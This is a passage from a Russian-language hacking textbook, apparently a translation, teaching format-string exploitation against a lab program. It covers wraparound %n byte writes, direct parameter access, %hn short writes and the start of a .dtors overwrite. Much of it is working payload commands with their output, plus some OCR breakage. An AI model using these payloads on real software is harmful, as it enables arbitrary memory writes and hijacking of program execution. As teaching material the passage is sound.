203
Как показывает этот листинг, изменение кода привело также к смеще- нию адреса переменной test_val. Однако видно, что next_val распола- гается вплотную к ней. Для практики снова запишем адрес в перемен- ную test_val с учетом ее нового адреса.
В прошлый раз мы выбрали очень удобный адрес 0xddccbbaa. Поскольку каждый следующий байт оказывается больше предыдущего, легко уве- личивать счетчик байтов для каждого байта. А если нужен адрес вро- де 0x0806abcd? Для такого адреса легко записать первый байт 0xCD с по- мощью параметра формата %n, выведя 205 байт при ширине поля 161.
Но следующим должен быть записан байт 0xAB, для которого надо вы- вести 171 байт. Счетчик байтов для параметра формата %n легко увели- чить, но его невозможно уменьшить. reader@hacking:
/booksrc $ ./fmt_vuln2 AAAA%x%x%x%x
The right way to print user-controlled input:
AAAA%x%x%x%x
The wrong way to print user-controlled input:
AAAAbffff3d0b7fe75fc041414141
[*] test_val @ 0x080497f4 = -72 0xffffffb8
[*] next_val @ 0x080497f8 = 286331153 0x11111111
reader@hacking:
/booksrc $ gdb -q --batch -ex “p 0xcd - 5”
$1 = 200
reader@hacking:
/booksrc $ ./fmt_vuln $(printf “\xf4\x97\x04\x08JUNK\xf5\
x97\x04\x08JUNK\xf6\x97\x04\x08JUNK\xf7\x97\x04\x08”)%x%x%8x%n
The right way to print user-controlled input:
??JUNK??JUNK??JUNK??%x%x%8x%n
The wrong way to print user-controlled input:
??JUNK??JUNK??JUNK??bffff3c0b7fe75fc 0
[*] test_val @ 0x08049794 = -72 0xffffffb8
reader@hacking:
/booksrc $
reader@hacking:
/booksrc $ ./fmt_vuln2 $(printf “\xf4\x97\x04\x08JUNK\xf5\
x97\x04\x08JUNK\xf6\x97\x04\x08JUNK\xf7\x97\x04\x08”)%x%x%8x%n
The right way to print user-controlled input:
??JUNK??JUNK??JUNK??%x%x%8x%n
The wrong way to print user-controlled input:
??JUNK??JUNK??JUNK??bffff3c0b7fe75fc 0
[*] test_val @ 0x080497f4 = 52 0x00000034
[*] next_val @ 0x080497f8 = 286331153 0x11111111
reader@hacking:
/booksrc $ gdb -q --batch -ex “p 0xcd - 52 + 8”
$1 = 161
reader@hacking:
/booksrc $ ./fmt_vuln2 $(printf “\xf4\x97\x04\x08JUNK\xf5\
x97\x04\x08JUNK\xf6\x97\x04\x08JUNK\xf7\x97\x04\x08”)%x%x%161x%n
The right way to print user-controlled input:
??JUNK??JUNK??JUNK??%x%x%161x%n
The wrong way to print user-controlled input:
??JUNK??JUNK??JUNK??bffff3b0b7fe75fc
0
[*] test_val @ 0x080497f4 = 205 0x000000cd
[*] next_val @ 0x080497f8 = 286331153 0x11111111
reader@hacking:
/booksrc $ gdb -q --batch -ex “p 0xab - 0xcd”
204
0x300 Эксплойты
$1 = -34
reader@hacking:/booksrc $
Не пытаясь вычесть 34 из 205, увеличим счетчик до значения 0x1AB, младший байт которого совпадает с требуемым, для чего прибавим
222 к 205, и получим 427, то есть десятичное представление 0x1AB.
С помощью того же приема установим младший байт в 0x06 для треть- ей записи.
reader@hacking:/booksrc $ gdb -q --batch -ex “p 0x1ab - 0xcd”
$1 = 222
reader@hacking:/booksrc $ gdb -q --batch -ex “p /d 0x1ab”
$1 = 427
reader@hacking:/booksrc $ ./fmt_vuln2 $(printf “\xf4\x97\x04\x08JUNK\xf5\
x97\x04\x08JUNK\xf6\x97\x04\x08JUNK\xf7\x97\x04\x08”)%x%x%161x%n%222x%n
The right way to print user-controlled input:
??JUNK??JUNK??JUNK??%x%x%161x%n%222x%n
The wrong way to print user-controlled input:
??JUNK??JUNK??JUNK??bffff3b0b7fe75fc
0 4b4e554a
[*] test_val @ 0x080497f4 = 109517 0x0001abcd
[*] next_val @ 0x080497f8 = 286331136 0x11111100
reader@hacking:/booksrc $ gdb -q --batch -ex “p 0x06 - 0xab”
$1 = -165
reader@hacking:/booksrc $ gdb -q --batch -ex “p 0x106 - 0xab”
$1 = 91
reader@hacking:/booksrc $ ./fmt_vuln2 $(printf “\xf4\x97\x04\
x08JUNK\xf5\x97\x04\x08JUNK\xf6\x97\x04\x08JUNK\xf7\x97\x04\
x08”)%x%x%161x%n%222x%n%91x%n
The right way to print user-controlled input:
??JUNK??JUNK??JUNK??%x%x%161x%n%222x%n%91x%n
The wrong way to print user-controlled input:
??JUNK??JUNK??JUNK??bffff3b0b7fe75fc
0 4b4e554a
4b4e554a
[*] test_val @ 0x080497f4 = 33991629 0x0206abcd
[*] next_val @ 0x080497f8 = 286326784 0x11110000
reader@hacking:/booksrc $
При каждой операции в байты переменной next_val, примыкающей к test_val, записываются новые значения. Техника циклического сло- жения действует исправно, но при записи последнего байта возникает небольшая трудность.
reader@hacking:/booksrc $ gdb -q --batch -ex “p 0x08 - 0x06”
$1 = 2
reader@hacking:/booksrc $ ./fmt_vuln2 $(printf “\xf4\x97\x04\x08JUNK\xf5\
x97\x04\x08JUNK\xf6\x97\x04\x08JUNK\xf7\x97\x04\x08”)%x%x%161x%n%222x%n%91x
%n%2x%n
The right way to print user-controlled input:
0x350 Форматные строки
205??JUNK??JUNK??JUNK??%x%x%161x%n%222x%n%91x%n%2x%n
The wrong way to print user-controlled input:
??JUNK??JUNK??JUNK??bffff3a0b7fe75fc
0 4b4e554a
4b4e554a4b4e554a
[*] test_val @ 0x080497f4 = 235318221 0x0e06abcd
[*] next_val @ 0x080497f8 = 285212674 0x11000002
reader@hacking:/booksrc $
Что здесь произошло? Разность между 0x06 и 0x08 равна всего 2, но вы- водится 8 байт, что приводит к записи параметром формата %n значе- ния 0x0e. Дело в том, что опция ширины поля для параметра формата
%x задает лишь
минимальную ширину поля, а вывести надо было 8 байт данных. От этой трудности можно избавиться посредством еще одного циклического сложения, но ограничения,
связанные с опцией шири- ны поля, полезно запомнить.
reader@hacking:/booksrc $ gdb -q --batch -ex “p 0x108 - 0x06”
$1 = 258
reader@hacking:/booksrc $ ./fmt_vuln2 $(printf “\xf4\x97\x04\x08JUNK\xf5\
x97\x04\x08JUNK\xf6\x97\x04\x08JUNK\xf7\x97\x04\x08”)%x%x%161x%n%222x%n%91x
%n%258x%n
The right way to print user-controlled input:
??JUNK??JUNK??JUNK??%x%x%161x%n%222x%n%91x%n%258x%n
The wrong way to print user-controlled input:
??JUNK??JUNK??JUNK??bffff3a0b7fe75fc
0 4b4e554a
4b4e554a
4b4e554a
[*] test_val @ 0x080497f4 = 134654925 0x0806abcd
[*] next_val @ 0x080497f8 = 285212675 0x11000003
reader@hacking:/booksrc $
Как и прежде, помещаем соответствующие адреса и мусорные встав- ки в начало форматной строки и управляем младшим байтом в четырех операциях записи, чтобы переписать все 4 байта переменной test_val.
Уменьшение значения младшего байта осуществляем с помощью цикли- ческого сложения. Аналогичный подход может потребоваться и при не- обходимости увеличить значение меньше чем на 8.
0x355 Прямой доступ к параметрамПрямой доступ к параметрам упрощает эксплойты форматной строки.
В предшествующих эксплойтах каждый аргумент параметров форма- тирования надо было проходить последовательно; при этом требова- лось несколько параметров %x, чтобы пройти через аргументы параме- тров, пока не будет достигнуто начало форматной строки. Кроме того, для последовательного подхода понадобилось трижды вставить 4-байт-
2060x300 Эксплойты ное слово (JUNK), чтобы правильно записать полный адрес в произволь- ное место памяти.
Как видно из его названия, метод
прямого доступа к параметрам по-
зволяет непосредственно обращаться к параметрам, для чего приме- няется квалификатор – символ доллара. Например, %n$d – обращение к
n-му параметру и его вывод в виде десятичного числа.
printf(“7th: %7$d, 4th: %4$05d\n”, 10, 20, 30, 40, 50, 60, 70, 80);
При таком вызове printf() получим:
7th: 70, 4th: 00040
Параметр форматирования %7$d выводит десятичное число 70, по- скольку седьмой аргумент параметров – 70. Второй параметр форма- тирования обращается к четвертому аргументу параметров и содержит опцию ширины поля 05. Все остальные аргументы параметров остают- ся в неприкосновенности. Такой метод прямого доступа устраняет не- обходимость последовательного просмотра памяти до обнаружения на- чала форматной строки, потому что к этому участку памяти можно об- ратиться непосредственно. Следующий листинг иллюстрирует меха- низм прямого доступа к параметрам.
reader@hacking:/booksrc $ ./fmt_vuln AAAA%x%x%x%x
The right way to print user-controlled input:
AAAA%x%x%x%x
The wrong way to print user-controlled input:
AAAAbffff3d0b7fe75fc041414141
[*] test_val @ 0x08049794 = -72 0xffffffb8
reader@hacking:/booksrc $ ./fmt_vuln AAAA%4\$x
The right way to print user-controlled input:
AAAA%4$x
The wrong way to print user-controlled input:
AAAA41414141
[*] test_val @ 0x08049794 = -72 0xffffffb8
reader@hacking:/booksrc $
В этом примере начало форматной строки находится на месте четверто- го аргумента параметров. К этой памяти можно обратиться непосред- ственно, не проходя через первые три аргумента параметров с помо- щью параметров формата %x. Поскольку это происходит в командной строке, а символ доллара относится к специальным, его необходимо защитить обратной косой чертой (\). Тем самым командной оболочке сообщается, что она не должна интерпретировать символ доллара как специальный символ. Чтобы увидеть фактическую форматную строку, ее нужно правильно печатать.
Прямой доступ к параметрам также упрощает запись адресов памя- ти. Раз
обращение к памяти происходит напрямую, не нужно встав- лять 4-байтные мусорные данные для увеличения счетчика выведен- ных данных. Каждый из параметров формата %x, обычно выполняю-
0x350 Форматные строки
207
щих эту функцию, может непосредственно обратиться к участку па- мяти перед форматной строкой. Для тренировки попробуем записать в переменную test_val более реалистично выглядящий адрес 0xbffffd72 с помощью прямого доступа к параметрам.
reader@hacking:/booksrc $ ./fmt_vuln $(perl -e ‘print “\x94\x97\x04\x08” .
“\x95\x97\x04\x08” . “\x96\x97\x04\x08” . “\x97\x97\x04\x08”’)%4\$n
The right way to print user-controlled input:
????????%4$n
The wrong way to print user-controlled input:
????????
[*] test_val @ 0x08049794 = 16 0x00000010
reader@hacking:/booksrc $ gdb -q
(gdb) p 0x72 - 16
$1 = 98
(gdb) p 0xfd - 0x72
$2 = 139
(gdb) p 0xff - 0xfd
$3 = 2
(gdb) p 0x1ff - 0xfd
$4 = 258
(gdb) p 0xbf - 0xff
$5 = -64
(gdb) p 0x1bf - 0xff
$6 = 192
(gdb) quit reader@hacking:/booksrc $ ./fmt_vuln $(perl -e ‘print “\x94\x97\x04\x08” .
“\x95\x97\x04\x08” . “\x96\x97\x04\x08” . “\x97\x97\x04 x08”’)
%98x%4\$n%139x%5\$n
The right way to print user-controlled input:
????????%98x%4$n%139x%5$n
The wrong way to print user-controlled input:
????????
bffff3c0
b7fe75fc
[*] test_val @ 0x08049794 = 64882 0x0000fd72
reader@hacking:/booksrc $ ./fmt_vuln $(perl -e ‘print “\x94\x97\x04\x08” .
“\x95\x97\x04\x08” . “\x96\x97\x04\x08” . “\x97\x97\x04\x08”’)%98x%4\$n%139x
%5\$n%258x%6\$n%192x%7\$n
The right way to print user-controlled input:
????????%98x%4$n%139x%5$n%258x%6$n%192x%7$n
The wrong way to print user-controlled input:
????????
bffff3b0
b7fe75fc
0 8049794
[*] test_val @ 0x08049794 = -1073742478 0xbffffd72
reader@hacking:/booksrc $
208
0x300 Эксплойты
Поскольку нет надобности выводить стек, чтобы добраться до нужно- го адреса, с первым параметром форматирования выводятся 16 байт.
Прямой доступ к параметрам использован только для параметров фор- мата %n, поскольку на самом деле не важно, какие значения использу- ются во вставках %x. Прямой доступ к параметрам упрощает процеду- ру записи адреса и уменьшает требуемый размер форматной строки.
0x356 Запись коротких целых
Еще один способ упростить эксплойты форматной строки – запись зна- чений short (короткие целые). Обычно short представляет собой двух- байтовое слово, и параметры форматирования могут работать с таки- ми словами особым образом. Полное описание всех параметров форма- та есть на странице руководства для printf. Фрагмент, описывающий модификатор длины:
Модификатор длины
Целое преобразование устанавливается для преобразователей d, i, o, u, x или X.
h Следующее целое преобразование соответствует аргументу short int или unsigned short int, либо следующее преобразование n соответствует аргументу указателя на short int.
Это можно использовать в эксплойтах форматной строки для записи коротких целых. В приводимой ниже распечатке значение short (выде- лено полужирным) записывается по обоим концам 4-байтной перемен- ной test_val. Естественно, по-прежнему можно применять прямой до- ступ к параметрам.
reader@hacking:/booksrc $ ./fmt_vuln $(printf “\x94\x97\x04\x08”)%x%x%x%hn
The right way to print user-controlled input:
??%x%x%x%hn
The wrong way to print user-controlled input:
??bffff3d0b7fe75fc0
[*] test_val @ 0x08049794 = -65515 0xffff0015
reader@hacking:/booksrc $ ./fmt_vuln $(printf “\x96\x97\x04\x08”)%x%x%x%hn
The right way to print user-controlled input:
??%x%x%x%hn
The wrong way to print user-controlled input:
??bffff3d0b7fe75fc0
[*] test_val @ 0x08049794 = 1441720 0x0015ffb8
reader@hacking:/booksrc $ ./fmt_vuln $(printf “\x96\x97\x04\x08”)%4\$hn
The right way to print user-controlled input:
??%4$hn
The wrong way to print user-controlled input:
??
[*] test_val @ 0x08049794 = 327608 0x0004ffb8
reader@hacking:/booksrc $
0x350 Форматные строки
209Используя вывод коротких целых, можно записать все четырехбайт- ное значение с помощью всего двух параметров %hn. Пример записи в переменную test_val с новым адресом 0xbffffd72:
reader@hacking:/booksrc $ gdb -q
(gdb) p 0xfd72 - 8
$1 = 64874
(gdb) p 0xbfff - 0xfd72
$2 = -15731
(gdb) p 0x1bfff - 0xfd72
$3 = 49805
(gdb) quit reader@hacking:/booksrc $ ./fmt_vuln $(printf “\x94\x97\x04\x08\x96\x97\
x04\x08”)%64874x%4\$hn%49805x%5\$hn
The right way to print user-controlled input:
????%64874x%4$hn%49805x%5$hn
The wrong way to print user-controlled input:
b7fe75fc
[*] test_val @ 0x08049794 = -1073742478 0xbffffd72
reader@hacking:/booksrc $
В этом примере для того чтобы записать второе значение 0xbfff, кото- рое меньше 0xfd72, использован знакомый прием циклического сло- жения. При записи коротких целых порядок записи не важен, поэто- му первый раз можно записать 0xfd72, а второй – 0xbfff, если поменять местами два адреса. Ниже показано, как сначала записывается адрес
0x08049796
, а потом 0x08049794.
(gdb) p 0xbfff - 8
$1 = 49143
(gdb) p 0xfd72 - 0xbfff
$2 = 15731
(gdb) quit reader@hacking:/booksrc $ ./fmt_vuln $(printf “\x96\x97\x04\x08\x94\x97\
x04\x08”)%49143x%4\$hn%15731x%5\$hn
The right way to print user-controlled input:
????%49143x%4$hn%15731x%5$hn
The wrong way to print user-controlled input:
????
b7fe75fc
[*] test_val @ 0x08049794 = -1073742478 0xbffffd72
reader@hacking:/booksrc $
Тот, кто может изменить данные в памяти по произвольному адресу, способен управлять порядком выполнения программы. Один из вари- антов – изменить адрес возврата в последнем кадре стека, как это дела- лось при переполнении в стеке. Возможны и другие цели, адреса кото- рых более предсказуемы. Переполнения в стеке по своей природе по-
зволяют только заменить адрес возврата, тогда как форматные строки дают возможность изменить любой адрес памяти, что открывает новые возможности.
210
0x300 Эксплойты
0x357 Обход с помощью .dtors
В двоичных программах, скомпилированных с помощью компилятора
GNU C, есть особые таблицы с именами .dtors и .ctors, создаваемые со- ответственно для деструкторов и конструкторов. Функции конструк- тора выполняются раньше, чем функция main, а функции деструкто- ра – непосредственно перед завершением работы функции main с помо- щью системного вызова exit.
Особый интерес представляют функции деструкторов и табличный раздел .dtors. Функцию можно объявить деструктором с помощью осо- бого атрибута destructor, как в следующем примере кода.
dtors_sample.c
#include
#include
static void cleanup(void) __attribute__ ((destructor));
main() {
printf(“Some actions happen in the main() function..\n”);
printf(“and then when main() exits, the destructor is called..\n”);
exit(0);
}
void cleanup(void) {
printf(“In the cleanup function now..\n”);
}
В этом примере функция cleanup() определена с атрибутом destructor, поэтому она автоматически вызывается при выходе из функции main(), как показано ниже.
reader@hacking:/booksrc $ gcc -o dtors_sample dtors_sample.c reader@hacking:/booksrc $ ./dtors_sample
Some actions happen in the main() function..
and then when main() exits, the destructor is called..
In the cleanup() function now..
reader@hacking:/booksrc $
Режимом автоматического выполнения функций при завершении ра- боты программы управляет таблица .dtors из двоичного модуля. Эта таблица представляет собой группу 32-разрядных адресов, оканчи- вающуюся нулевым адресом. Группа всегда начинается с 0xffffffff и заканчивается нулевым адресом 0x00000000. В промежутке находят- ся адреса всех функций, объявленных с атрибутом destructor. С помо- щью команды nm можно найти адрес функции cleanup(), а с помощью objdump
– исследовать разделы двоичного модуля.
0x350 Форматные строки
211 reader@hacking:/booksrc $ nm ./dtors_sample
080495bc d _DYNAMIC
08049688 d _GLOBAL_OFFSET_TABLE_
080484e4 R _IO_stdin_used w _Jv_RegisterClasses
080495a8 d __CTOR_END__
080495a4 d __CTOR_LIST__
1 080495b4 d __DTOR_END__
2 080495ac d __DTOR_LIST__
080485a0 r __FRAME_END__
080495b8 d __JCR_END__
080495b8 d __JCR_LIST__
080496b0 A __bss_start
080496a4 D __data_start
08048480 t __do_global_ctors_aux
08048340 t __do_global_dtors_aux
080496a8 D __dso_handle w __gmon_start__
08048479 T __i686.get_pc_thunk.bx
080495a4 d __init_array_end
080495a4 d __init_array_start
08048400 T __libc_csu_fini
08048410 T __libc_csu_init
U __libc_start_main@@GLIBC_2.0 080496b0 A _edata
080496b4 A _end
080484b0 T _fini
080484e0 R _fp_hw
0804827c T _init
080482f0 T _start
08048314 t call_gmon_start